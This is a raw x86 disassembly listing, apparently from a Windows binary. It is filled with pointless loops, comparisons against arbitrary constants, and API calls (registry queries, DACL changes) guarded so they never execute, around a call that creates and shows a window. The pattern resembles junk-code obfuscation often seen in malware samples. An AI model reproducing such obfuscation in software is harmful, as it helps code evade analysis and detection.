jl 0x46394f
mov dword [ebp - 0x274], 0
jmp 0x451f69
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 4
jge 0x451f85
mov eax, dword [ebp - 0x274]
mov dword [ebp + eax*4 - 0x387c], 0
jmp 0x451f5c
mov dword [ebp - 0x274], 0
jmp 0x451f9e
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 4
jge 0x451fba
mov eax, dword [ebp - 0x274]
mov dword [ebp + eax*4 - 0x2bfc], 0xfffffffd
jmp 0x451f91
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x2bfc], 0
jmp 0x451fe5
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2bfc]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x2bfc], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2bfc], 4
jge 0x45200d
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2bfc]
mov dword [ebp + eax*4 - 0x387c], 0xcba2afe0
jmp 0x451fcc
mov dword [ebp - 0xbc], 0x7a4a12b5
mov dword [ebp - 0x860], 0
jmp 0x452030
mov eax, dword [ebp - 0x860]
inc eax
mov dword [ebp - 0x860], eax
cmp dword [ebp - 0x860], 1
jge 0x45204c
mov eax, dword [ebp - 0x860]
mov dword [ebp + eax*4 - 0x318], 0x2799ac78
jmp 0x452023
mov dword [ebp - 0xbc], 0
jmp 0x452065
mov eax, dword [ebp - 0xbc]
dec eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jl 0x4522a2
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x310], 0xe8f59172
mov dword [ebp - 0x1e24], 1
mov dword [ebp - 0x110], 0
jmp 0x4520a9
mov eax, dword [ebp - 0x110]
dec eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jl 0x452235
mov dword [ebp - 0x2740], 0x3bc1
mov dword [ebp - 0x2748], 0xfffffff8
mov eax, dword [ebp - 0xbc]
cmp dword [ebp + eax*4 - 0x318], 2
jne 0x4520e6
mov dword [ebp - 0x2738], 1
jmp 0x4520ed
and dword [ebp - 0x2738], 0
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x30e8], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x318], 0xca1a1f05
je 0x452118
mov dword [ebp - 0xe3c], 1
jmp 0x45211f
and dword [ebp - 0xe3c], 0
xor eax, eax
sub eax, dword [ebp - 0xe3c]
cmp eax, dword [ebp - 0x2740]
jl 0x45213b
mov dword [ebp - 0x1e14], 1
jmp 0x452142
and dword [ebp - 0x1e14], 0
cmp dword [ebp - 0x1e14], 0xfe2cf456
jae 0x45215a
mov dword [ebp - 0xe44], 1
jmp 0x452161
and dword [ebp - 0xe44], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x318]
cmp dword [ebp - 0xe44], eax
je 0x452182
mov dword [ebp - 0x1e1c], 1
jmp 0x452189
and dword [ebp - 0x1e1c], 0
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0x318]
add eax, dword [ebp - 0x1e1c]
mov dword [ebp - 0x310], eax
jne 0x4521b6
cmp dword [ebp - 0x110], 0
jne 0x4521b6
and dword [ebp - 0xe4c], 0
jmp 0x4521c0
mov dword [ebp - 0xe4c], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xe4c]
sub ecx, dword [ebp + eax - 0x318]
mov dword [ebp - 0x1e24], ecx
jne 0x4521ed
cmp dword [ebp - 0x310], 0
jne 0x4521ed
and dword [ebp - 0xe54], 0
jmp 0x4521f7
mov dword [ebp - 0xe54], 1
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0x318]
sub eax, dword [ebp - 0xe54]
cmp eax, 0xe737
je 0x45221d
mov dword [ebp - 0x1e2c], 1
jmp 0x452224
and dword [ebp - 0x1e2c], 0
mov eax, dword [ebp - 0x1e2c]
mov dword [ebp - 0x2748], eax
jmp 0x45209c
mov dword [ebp - 0x110], 0
jmp 0x45224e
mov eax, dword [ebp - 0x110]
dec eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jl 0x45229d
mov dword [ebp - 0x310], 0
jmp 0x452270
mov eax, dword [ebp - 0x310]
dec eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0
jl 0x45229b
mov byte [ebp - 0x3e9], 0
movzx eax, byte [ebp - 0x3e9]
test eax, eax
je 0x452299
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
jmp 0x452263
jmp 0x452241
jmp 0x452058
mov dword [ebp - 0xbc], 0
jmp 0x4522bb
mov eax, dword [ebp - 0xbc]
dec eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jl 0x4522f7
mov eax, dword [ebp - 0xbc]
cmp dword [ebp + eax*4 - 0x318], 0
je 0x4522d6
jmp 0x4522f7
mov byte [ebp - 0x47e], 0
movzx eax, byte [ebp - 0x47e]
test eax, eax
je 0x4522f5
push 0
push 0x1762
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
jmp 0x4522ae
mov dword [ebp - 0x1e44], 0xeab3ae5d
mov dword [ebp - 0x1e54], 0xcf7a0211
mov dword [ebp - 0xe7c], 0x6a426232
mov dword [ebp - 0x2758], 0x1832d74
mov dword [ebp - 0x30f0], 0x307758a8
mov dword [ebp - 0x30f8], 0xfffffffc
mov dword [ebp - 0x3100], 0x6c146df8
mov dword [ebp - 0x3108], 0xfffffffe
mov dword [ebp - 0x3110], 0xbf094577
mov dword [ebp - 0x3118], 0xf4f2d89
mov dword [ebp - 0x3120], 0xffffffff
mov dword [ebp - 0x3128], 0xffffffff
mov dword [ebp - 0x3130], 0xf77771fd
mov dword [ebp - 0x3138], 2
mov dword [ebp - 0x3140], 0
mov dword [ebp - 0x3148], 1
mov dword [ebp - 0xe8c], 1
mov dword [ebp - 0x170], 0
jmp 0x4523ba
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 2
jge 0x4523d6
mov eax, dword [ebp - 0x170]
mov dword [ebp + eax*4 - 0x220], 0x4d2edc75
jmp 0x4523ad
mov dword [ebp - 0x170], 0
jmp 0x4523ef
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 3
jge 0x45240b
mov eax, dword [ebp - 0x170]
mov dword [ebp + eax*4 - 0x3a54], 0x76a5d0c
jmp 0x4523e2
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x220]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x220]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x220]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x220]
jg 0x45244e
mov dword [ebp - 0xe5c], 1
jmp 0x452455
and dword [ebp - 0xe5c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x220]
cmp eax, dword [ebp - 0xe5c]
jge 0x452483
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x220], 0
jne 0x452483
and dword [ebp - 0x1e34], 0
jmp 0x45248d
mov dword [ebp - 0x1e34], 1
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x220]
add ecx, dword [ebp - 0x1e34]
cmp dword [ebp + eax - 0x220], ecx
jl 0x4524bb
mov dword [ebp - 0xe64], 1
jmp 0x4524c2
and dword [ebp - 0xe64], 0
cmp dword [ebp - 0xe64], 2
jg 0x4524d7
mov dword [ebp - 0x1e3c], 1
jmp 0x4524de
and dword [ebp - 0x1e3c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x220]
cmp dword [ebp - 0x1e3c], eax
je 0x4524ff
mov dword [ebp - 0xe6c], 1
jmp 0x452506
and dword [ebp - 0xe6c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x220]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x220]
imul ecx, dword [ebp - 0xe6c]
sub eax, ecx
push 4
pop ecx
shl ecx, 0
imul eax, dword [ebp + ecx - 0x220]
mov dword [ebp - 0x1e44], eax
mov eax, dword [ebp - 0x1e44]
mov dword [ebp - 0x3150], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x220]
mov dword [ebp - 0x3158], eax
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x220]
cmp dword [ebp + eax - 0x220], ecx
jg 0x452584
mov dword [ebp - 0xe74], 1
jmp 0x45258b
and dword [ebp - 0xe74], 0
cmp dword [ebp - 0xe74], 6
jne 0x4525a0
cmp dword [ebp + 8], 1
jne 0x468093
mov dword [ebp - 0xa98], 0xb023
mov dword [ebp - 0x32e4], 0x4ccb63e8
mov dword [ebp - 0x2784], 1
mov dword [ebp - 0x3218], 0xd9bacc5d
mov dword [ebp - 0x34bc], 1
mov dword [ebp - 0x3220], 7
mov dword [ebp - 0x17dc], 0xdeb77278
mov dword [ebp - 0x2840], 2
mov dword [ebp - 0x35dc], 0x9f4ffcf3
mov dword [ebp - 0x17b4], 4
mov dword [ebp - 0x17bc], 0x126c7f05
mov dword [ebp - 0x3228], 0x7e291920
mov dword [ebp - 0x9b4], 0
jmp 0x4639ea
mov eax, dword [ebp - 0x9b4]
inc eax
mov dword [ebp - 0x9b4], eax
cmp dword [ebp - 0x9b4], 1
jge 0x463a06
mov eax, dword [ebp - 0x9b4]
mov dword [ebp + eax*4 - 0xaa0], 0xfffffff7
jmp 0x4639dd
mov eax, dword [ebp - 0xa98]
mov dword [ebp - 0x34d4], eax
mov eax, dword [ebp - 0x17b4]
dec eax
mov dword [ebp - 0x17b4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xaa0]
mov dword [ebp - 0x17bc], eax
cmp dword [ebp - 0x17bc], 0
jne 0x463a47
mov dword [ebp - 0x17cc], 1
jmp 0x463a4e
and dword [ebp - 0x17cc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xaa0]
cmp dword [ebp - 0x2784], eax
jge 0x463a6f
mov dword [ebp - 0x17c4], 1
jmp 0x463a76
and dword [ebp - 0x17c4], 0
mov eax, dword [ebp - 0xa98]
add eax, dword [ebp - 0x17c4]
cmp dword [ebp - 0x17cc], eax
jne 0x463a96
mov dword [ebp - 0x17d4], 1
jmp 0x463a9d
and dword [ebp - 0x17d4], 0
mov eax, dword [ebp - 0xa98]
mov ecx, dword [ebp - 0x17dc]
imul ecx, dword [ebp - 0x17d4]
sub eax, ecx
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xaa0]
jge 0x463acd
mov dword [ebp - 0x17e4], 1
jmp 0x463ad4
and dword [ebp - 0x17e4], 0
mov eax, dword [ebp - 0x17dc]
cmp dword [ebp - 0x17e4], eax
jge 0x463aee
mov dword [ebp - 0x17ec], 1
jmp 0x463af5
and dword [ebp - 0x17ec], 0
cmp dword [ebp - 0x17ec], 0xf5ec
jg 0x463b0d
mov dword [ebp - 0x17f4], 1
jmp 0x463b14
and dword [ebp - 0x17f4], 0
mov eax, dword [ebp - 0x17f4]
mov dword [ebp - 0x2840], eax
mov dword [ebp - 0x924], 0xfdf99ff6
mov dword [ebp - 0x3230], 0
mov dword [ebp - 0x3670], 0xfffffffa
mov dword [ebp - 0x3238], 0xc79cf181
mov dword [ebp - 0x924], 0
jmp 0x463b61
mov eax, dword [ebp - 0x924]
dec eax
mov dword [ebp - 0x924], eax
cmp dword [ebp - 0x924], 0xfffffffc
je 0x463bbc
mov dword [ebp - 0xa24], 0
jmp 0x463b83
mov eax, dword [ebp - 0xa24]
inc eax
mov dword [ebp - 0xa24], eax
cmp dword [ebp - 0xa24], 1
jge 0x463b9f
mov eax, dword [ebp - 0xa24]
mov dword [ebp + eax*4 - 0x17fc], 0xfffffffe
jmp 0x463b76
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x17fc]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x17fc], eax
jmp 0x463b54
mov dword [ebp - 0xb0], 0xb7c7ce53
mov dword [ebp - 0x181c], 1
mov dword [ebp - 0x2794], 0x3550e352
mov dword [ebp - 0x92c], 0
jmp 0x463bf3
mov eax, dword [ebp - 0x92c]
inc eax
mov dword [ebp - 0x92c], eax
cmp dword [ebp - 0x92c], 1
jge 0x463c0f
mov eax, dword [ebp - 0x92c]
mov dword [ebp + eax*4 - 0x9bc], 0xfff7
jmp 0x463be6
mov dword [ebp - 0xb0], 0
jmp 0x463c28
cmp dword [ebp - 0xb0], 0
jg 0x463e7d
mov dword [ebp - 0x59c], 0x6ef3b063
mov dword [ebp - 0x2848], 0xd50f
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp + eax*4 - 0x9bc]
mov dword [ebp - 0x278c], eax
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0x278c]
mov dword [ebp + eax*4 - 0x9bc], ecx
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x9bc], 0
je 0x463c92
push 0xfffffffffffffffd
pop eax
test eax, eax
je 0x463c92
mov dword [ebp - 0x1804], 1
jmp 0x463c99
and dword [ebp - 0x1804], 0
cmp dword [ebp - 0x1804], 0
jle 0x463cb4
mov eax, 0x51fa
test eax, eax
jne 0x463cb4
and dword [ebp - 0x180c], 0
jmp 0x463cbe
mov dword [ebp - 0x180c], 1
cmp dword [ebp - 0x180c], 0x10466712
jl 0x463cd6
mov dword [ebp - 0x1814], 1
jmp 0x463cdd
and dword [ebp - 0x1814], 0
mov eax, dword [ebp - 0x1814]
mov dword [ebp - 0x181c], eax
mov eax, dword [ebp - 0x181c]
sub eax, dword [ebp - 0x59c]
jne 0x463d10
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x9bc], 0
jne 0x463d10
and dword [ebp - 0x1824], 0
jmp 0x463d1a
mov dword [ebp - 0x1824], 1
mov eax, dword [ebp - 0x1824]
sub eax, dword [ebp - 0x59c]
cmp eax, dword [ebp - 0xb0]
je 0x463d3a
mov dword [ebp - 0x182c], 1
jmp 0x463d41
and dword [ebp - 0x182c], 0
mov eax, dword [ebp - 0x59c]
imul eax, dword [ebp - 0x182c]
cmp eax, 0xb96
jl 0x463d61
mov dword [ebp - 0x1834], 1
jmp 0x463d68
and dword [ebp - 0x1834], 0
mov eax, dword [ebp - 0xb0]
cmp dword [ebp - 0x1834], eax
jne 0x463d82
mov dword [ebp - 0x183c], 1
jmp 0x463d89
and dword [ebp - 0x183c], 0
cmp dword [ebp - 0x183c], 1
je 0x463d9e
mov dword [ebp - 0xb0], 0
jmp 0x463e96
mov eax, dword [ebp - 0xb0]
dec eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0
jl 0x463ed5
mov byte [ebp - 0x48f], 0
movzx eax, byte [ebp - 0x48f]
test eax, eax
je 0x463eb7
call dword [sym.imp.GDI32.dll_GdiFlush]
mov byte [ebp - 0x331], 0
movzx eax, byte [ebp - 0x331]
test eax, eax
je 0x463ed3
push 0
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
jmp 0x463e89
mov dword [ebp - 0x44], 0
jmp 0x463ee5
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 2
jge 0x463efb
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x39cc], 1
jmp 0x463ede
mov dword [ebp - 0x44], 0
jmp 0x463f0b
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jge 0x463f21
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x2b4c], 0
jmp 0x463f04
mov dword [ebp - 0x44], 0
jmp 0x463f31
cmp dword [ebp - 0x44], 4
jge 0x463f47
xor ecx, ecx
call fcn.0042894b
push eax
call fcn.0046c193
pop ecx
mov dword [ebp - 0x520], 0x5c68ec0a
mov dword [ebp - 0xf0], 1
mov dword [ebp - 0x528], 8
mov dword [ebp - 0x7b4], 0
jmp 0x4680d8
mov eax, dword [ebp - 0x7b4]
inc eax
mov dword [ebp - 0x7b4], eax
cmp dword [ebp - 0x7b4], 1
jge 0x4680f4
mov eax, dword [ebp - 0x7b4]
mov dword [ebp + eax*4 - 0x3328], 0xa3fda37b
jmp 0x4680cb
mov dword [ebp - 0x520], 0
jmp 0x46810d
mov eax, dword [ebp - 0x520]
inc eax
mov dword [ebp - 0x520], eax
cmp dword [ebp - 0x520], 0x1b
jl 0x4683ee
mov dword [ebp - 0xf08], 0xfffffffb
mov dword [ebp - 0x25d8], 0x1521fafb
mov dword [ebp - 0x1d4], 0
jmp 0x468147
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 2
jge 0x468163
mov eax, dword [ebp - 0x1d4]
mov dword [ebp + eax*4 - 0x2814], 0
jmp 0x46813a
mov dword [ebp - 0x1d4], 0
jmp 0x46817c
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 4
jge 0x468198
mov eax, dword [ebp - 0x1d4]
mov dword [ebp + eax*4 - 0x2ad0], 0xfffffffd
jmp 0x46816f
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2ad0], 0
jmp 0x4681c6
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2ad0]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2ad0], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2ad0], 1
jg 0x4683a1
mov dword [ebp - 0x2b4], 0xfffffffc
mov dword [ebp - 0x2b4], 1
jmp 0x4681fd
mov eax, dword [ebp - 0x2b4]
dec eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0
jl 0x46839c
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2ad0]
cmp dword [ebp + eax*4 - 0x2814], 0
jne 0x46822d
mov dword [ebp - 0xf10], 1
jmp 0x468234
and dword [ebp - 0xf10], 0
mov eax, dword [ebp - 0x2b4]
mov dword [ebp - 0x3554], eax
cmp dword [ebp - 0x520], 0
jne 0x46825b
cmp dword [ebp - 0x2b4], 0
jne 0x46825b
and dword [ebp - 0x25d0], 0
jmp 0x468265
mov dword [ebp - 0x25d0], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2ad0]
mov eax, dword [ebp + eax*4 - 0x2814]
mov dword [ebp - 0x3330], eax
mov dword [ebp - 0xf0], 0xf2d6273
cmp dword [ebp - 0xf0], 0xdb84c6a3
jne 0x4682a1
mov dword [ebp - 0xee8], 1
jmp 0x4682a8
and dword [ebp - 0xee8], 0
cmp dword [ebp - 0xee8], 0xc869b7d6
jb 0x4682c0
mov dword [ebp - 0xef0], 1
jmp 0x4682c7
and dword [ebp - 0xef0], 0
cmp dword [ebp - 0xef0], 7
jb 0x4682dc
mov dword [ebp - 0xef8], 1
jmp 0x4682e3
and dword [ebp - 0xef8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2814]
cmp eax, dword [ebp - 0xef8]
je 0x468304
mov dword [ebp - 0xf00], 1
jmp 0x46830b
and dword [ebp - 0xf00], 0
mov eax, dword [ebp - 0x2b4]
sub eax, dword [ebp - 0xf00]
sub eax, dword [ebp - 0xf08]
mov dword [ebp - 0x528], eax
mov eax, dword [ebp - 0x528]
mov dword [ebp - 0x3690], eax
mov eax, dword [ebp - 0x520]
mov dword [ebp - 0x3338], eax
mov eax, dword [ebp - 0x2b4]
cmp dword [ebp - 0xf08], eax
jl 0x468355
mov dword [ebp - 0xf18], 1
jmp 0x46835c
and dword [ebp - 0xf18], 0
mov eax, dword [ebp - 0xf10]
imul eax, dword [ebp - 0xf18]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x2ad0]
je 0x468384
mov dword [ebp - 0xf20], 1
jmp 0x46838b
and dword [ebp - 0xf20], 0
mov eax, dword [ebp - 0xf20]
mov dword [ebp - 0x25d8], eax
jmp 0x4681f0
jmp 0x4681ab
mov dword [ebp - 0xf0], 0
jmp 0x4683ba
mov eax, dword [ebp - 0xf0]
dec eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0xffffffff
je 0x4683e9
mov byte [ebp - 0x49d], 0
movzx eax, byte [ebp - 0x49d]
test eax, eax
je 0x4683e7
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
jmp 0x4683ad
jmp 0x468100
mov dword [ebp - 0xf0], 0
jmp 0x468407
mov eax, dword [ebp - 0xf0]
dec eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0xfffffff9
jne 0x468457
mov dword [ebp - 0xf28], 0x2afe2499
mov dword [ebp - 0x528], 0
jmp 0x468433
mov eax, dword [ebp - 0x528]
dec eax
mov dword [ebp - 0x528], eax
cmp dword [ebp - 0x528], 0
jl 0x46844a
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0xf28], eax
jmp 0x468426
cmp dword [ebp - 0xf28], 0
je 0x468455
jmp 0x468457
jmp 0x4683fa
push 0
push 0
push 0
push 0
push 0x19
push 0x64
push 0x1863b
push 0x18695
push 0x90000000
push 0xa8353c
push 0xa8353c
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0xb38], eax
mov dword [ebp - 0x2bc], 3
mov dword [ebp - 0x25e0], 0x8af8716b
mov dword [ebp - 0x7bc], 0
jmp 0x4684b7
mov eax, dword [ebp - 0x7bc]
inc eax
mov dword [ebp - 0x7bc], eax
cmp dword [ebp - 0x7bc], 2
jge 0x4684d3
mov eax, dword [ebp - 0x7bc]
mov dword [ebp + eax*4 - 0x2bb4], 0x97515801
jmp 0x4684aa
mov byte [ebp - 0x3a1], 0
movzx eax, byte [ebp - 0x3a1]
test eax, eax
je 0x4684ed
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
cmp dword [ebp - 0x2bc], 1
jne 0x468502
mov dword [ebp - 0xf30], 1
jmp 0x468509
and dword [ebp - 0xf30], 0
mov eax, dword [ebp - 0x2bc]
imul eax, dword [ebp - 0xf30]
cmp eax, 2
ja 0x468527
mov dword [ebp - 0xf38], 1
jmp 0x46852e
and dword [ebp - 0xf38], 0
mov eax, dword [ebp - 0x2bc]
cmp dword [ebp - 0xf38], eax
jg 0x468548
mov dword [ebp - 0xf40], 1
jmp 0x46854f
and dword [ebp - 0xf40], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xf40]
mov dword [ebp + eax - 0x2bb4], ecx
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x355c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2bb4]
mov dword [ebp - 0x3340], eax
imul eax, dword [ebp - 0x2bc], 0x713e
cmp eax, 0x2509e71b
jl 0x46859f
xor eax, eax
jne 0x46859f
and dword [ebp - 0xf48], 0
jmp 0x4685a9
mov dword [ebp - 0xf48], 1
mov eax, dword [ebp - 0x2bc]
cmp dword [ebp - 0xf48], eax
jge 0x4685c3
mov dword [ebp - 0xf50], 1
jmp 0x4685ca
and dword [ebp - 0xf50], 0
mov eax, dword [ebp - 0x2bc]
cmp eax, dword [ebp - 0xf50]
jge 0x4685e4
mov dword [ebp - 0xf58], 1
jmp 0x4685eb
and dword [ebp - 0xf58], 0
mov eax, dword [ebp - 0x2bc]
imul eax, dword [ebp - 0xf58]
mov dword [ebp - 0x25e0], eax
push 5
push dword [ebp - 0xb38]
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 0x13c], 7
mov dword [ebp - 0x7cc], 0xf5fa3187
mov dword [ebp - 0xb18], 0xffffffff
mov dword [ebp - 0x1dc], 1
mov dword [ebp - 0x7c4], 0
jmp 0x46864d
mov eax, dword [ebp - 0x7c4]
inc eax
mov dword [ebp - 0x7c4], eax
cmp dword [ebp - 0x7c4], 3
jge 0x468669
mov eax, dword [ebp - 0x7c4]
mov dword [ebp + eax*4 - 0x2378], 0x4a8c
jmp 0x468640
mov dword [ebp - 0x13c], 0
jmp 0x468682
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 2
jg 0x4686a7
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x13c]
mov eax, dword [ebp + eax*4 - 0x2378]
mov dword [ebp + ecx*4 - 0x2378], eax
jmp 0x468675
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2378], 0x1da7bc99
je 0x4686c6
mov dword [ebp - 0xf60], 1
jmp 0x4686cd
and dword [ebp - 0xf60], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2378]
cmp eax, dword [ebp - 0xf60]
jne 0x4686ee
mov dword [ebp - 0xf68], 1
jmp 0x4686f5
and dword [ebp - 0xf68], 0
mov eax, dword [ebp - 0xf68]
mov dword [ebp - 0x7cc], eax
cmp dword [ebp - 0x7cc], 0xfffffff6
je 0x468716